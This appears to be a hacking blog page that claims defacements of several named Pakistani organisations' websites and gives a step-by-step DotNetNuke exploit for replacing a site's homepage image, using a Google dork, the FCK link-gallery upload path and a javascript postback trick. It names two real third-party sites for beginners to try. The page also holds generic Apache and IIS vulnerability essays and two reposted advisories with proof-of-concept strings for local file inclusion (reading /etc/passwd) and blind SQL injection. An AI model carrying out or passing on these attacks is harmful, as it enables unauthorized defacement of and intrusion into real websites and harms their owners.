Official Pakistani Website of Society of Mechnical Engineers of Pakistan Hacked

Society of Mechnical Engineers of Pakistan Official Website (http://smep.org.pk/) Hacked

Now lets begin step by step...how to hack websites using SQL Injection Vulnerability. Note that this is for educational purpose and if anybody use this to hack any website, I promise not to prosecute. In many countries it is illegal to use this attack. Here I am not going to share the exact method I have followed.

                                                                            

                                                                              

                                                                             
actually i don,t post the original vulnerable point

Learn How to hack websites Using DNN [Dot Net Nuke] Exploit

Hack Website Using DNN [Dot Net Nuke] Exploit

Using google DORK try to find the vulnerable website.

inurl:"/portals/0"

You can also modify this google dork according to your need & requirement

I have found these 2 website vulnerable to this attack:

http://www.wittur.se/

http://www.bsd405.org/

n00bs can also try both of these websites for testing purpose.

Open the home page and check any image which is located in /portals/0/

Check the location of the image. It should be located in /portals/0/

For e.g. in case of http://www.wittur.se ..the image is located at location- http://www.wittur.se/Portals/0/SHM.jpg

Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg. Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.

Now here is the exploit

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

HOW TO RUN ?

Simply copy paste it as shown below:

www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site

After selecting the third option, replace the URL bar with below script

javascript:__doPostBack('ctlURL$cmdUpload','')

After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...THAT,S IT  you have hacked the website.

Hack Website: Pakistani Website Hacked

De Laas Gul Welfare organization Pakistan Official Website (http://www.dlg.org.pk/) Hacked by sir ammar he wrote

                                                         

Here are the screen shots for all the pages where we got Admin access. We have not change or deleted any thing.

STEPS WE HAVE FOLLOWED:

• Open http://www.dlg.org.pk/
• Using google DORK, we have found the ADMIN page http://www.dlg.org.pk/admin/
• Nest step is to exploit the username and password
• Here we have run the remote exploits and get into the site ADMIN AREA
• We took almost 55 seconds to get access into administrative access.
• Check out the below screen shots.

NOTE: We have not deleted or changed any thing from this website

                                                                                 

                                                                      

Web Server Security - Apache Risks

Apache Risks
Apache vulnerability are commonly found and if not patched, this can cause major security-risks. For example an old vulnerability was found in the Win32 port of Apache, it was when client submitting a very long URI could cause a directory listing to be returned rather than the default index page. A URL with a large number of trailing slashes: /cgi-bin ////////////// could produce directory listing of the original directory. There are more old big vulnerabilities like: (Remote DoS via IPv6), was when a client requests that proxy ftp connect to an ftp server with IPv6 address, and the proxy is unable to create an IPv6 socket, an infinite loop occurs causing a remote Denial of Service. (Remote DoS with multiple Listen directives), Apache server with multiple listening sockets a certain error returned by accept () on a rarely access port can cause a temporary denial of service, due to a bug in the prefork MPM. (Line feed memory leak DoS), Remote attackers can cause a denial of service (memory consumption) via large chunks of linefeed characters, which causes Apache to allocate 80 bytes for each linefeed. Rewrite rules that include references allow access to any file, Apache can serve unexpected files by appending illegal characters such as '<' to the request URL and few others. These are just some of old exploits that Apache whent trough and i belive there are more to be found. But ask your self, how many exploits are there that are not public? These are the more dengrous ones and can be used for months with out any one knowing.
Thanks To Security Team.

Web Server Security - IIS Risks

IIS Risks
IIS is one of the most widely used Web server platforms on the Internet, with more exploits to it.
Dynamic capabilities were added by using Common Gateway Interface (CGI) applications. These applications run on the server and generate dynamic content different for each request. This capability to process input and generate pages in real time greatly expanded the functional potential of a Web application. Microsoft introduced two similar technologies to serve as the basis for Web applications: Active Server Pages (ASP) and the Internet Server Application Programming Interface (ISAPI). ASP scripts are usually written to be readable scripting language. The ASP interpreter is implemented as an ISAPI DLL. ISAPI on the other hand is much less visible to web surfers. Microsoft uses many ISAPI DLLs to extend IIS itself. ISAPI DLLs are binary files that are not visable to be read or given to human interpretation. However, if the user knows the name of an ISAPI DLL, you can call it trough HTTP. They are capable of running inside or outside the IIS process (inetinfo.exe) and, once instantiated remain resident; thereby reducing the overhead of spawning a new process for a CGI executable to service each request. Two popular files that may be runned when IIS is Hacked is cmd.exe and global.asa, which often contains passwords or other sensitive information. Some old popular exploits were: (Showcode.asp) it's a script that allows a web developer to easily view the code for a number of examples included with Internet Information Server. It comes under several different guises, including showcode.asp, viewcode.asp, and codebrws.asp among others. Essentially it lets the developer view the code of a server-side script without executing it. The problem is that it does not just stop at that because with some manipulation of the URL it lets an attacker view any file on the same drive as the script. Another one was (Piggy-backing privileged command execution on back-end database queries(MDAC/RDS)). MDAC is a package used to integrate Web and database services. It includes the RDS component that provides remote access to database objects through IIS. By exploiting vulnerabilities in RDS depending on the security posture of the website, attackers can send random SQL commands that manipulate the database or retrieve any desired information. In this specific case, the attacker can even gain administrative rights by embedding the shell () VBA command into the SQL command and execute any highly privileged system commands. IIS relies heavily on DLLs to provide various capabilities. Server side scripting, Content Indexing, Web Based printing are another way of exploiting IIS.
Thanks To Security Team.

LFI Vulnerability in 1024cms Admin Control Panel v1.1.0 Beta

From: by_argos () hotmail com
Date: Thu, 7 Apr 2011 14:39:28 -0600

---

========================================================
1024cms Admin Control Panel v1.1.0 Beta (Master-cPanel Package) - 

Local File Include Vulnerability
========================================================
  
Software:             1024cms Admin Control Panel v1.1.0 Beta (master-cpanel package)
Vendor:                http://1024cms.org/
Vuln Type:              Local File Include
Remote:                 Yes
Local:                  No
Discovered by:  QSecure and Demetris Papapetrou 
Website:                http://www.qsecure.com.cy
Discovered:             15/03/2011
Reported:               29/03/2001
Disclosed:


VULNERABILITY DESCRIPTION:
==========================
The script "/index.php" is prone to a local file-include vulnerability because it fails 

to properly sanitize user-supplied input in the "processfile" parameter.

An attacker can exploit this vulnerability to obtain potentially sensitive information 

and execute arbitrary local scripts in the context of the webserver process. This 

may allow the attacker to compromise the application and the underlying computer; 

other attacks are also possible.


PoC Exploit:
============
/index.php?mode=login&processfile=../../../../../../etc/passwd

joomlacontenteditor (com_jce) BLIND sql injection vulnerability

From: eidelweiss () windowslive com
Date: 8 Apr 2011 16:28:59 -0000

---

================================================
  joomlacontenteditor (com_jce) BLIND sql injection vulnerability
================================================
  
Software:   joomlacontenteditor (com_jce)
Vendor:     www.joomlacontenteditor.net
Vuln Type:  BLind SQL Injection
Download link:  http://www.joomlacontenteditor.net/downloads/editor/joomla15x/category/joomla-15-2 
Author:     eidelweiss
contact:    eidelweiss[at]windowslive[dot]com
Home:       www.eidelweiss.info
Dork:       inurl:"/index.php?option=com_jce"
  
  
References: http://eidelweiss-advisories.blogspot.com/2011/04/joomlacontenteditor-comjce-blind-sql.html
  
  
==============================================================
Description:

JCE makes creating and editing Joomla!® content easy Add a set of tools to your 

Joomla!® environment that give you the power to create the kind of content you want,

without limitations, and without needing to know or learn HTML, XHTML, CSS... 

==============================================================

    exploit & p0c
  
[!] index.php?option=com_jce&Itemid=[valid Itemid]
  
    Example p0c
  
[!] http://host/index.php?option=com_jce&Itemid=8    <= True
[!] http://host/index.php?option=com_jce&Itemid=-8   <= False
  
  
==============================================================
  
    Nothing Impossible In This World Even Nobody`s Perfect
  
==============================================================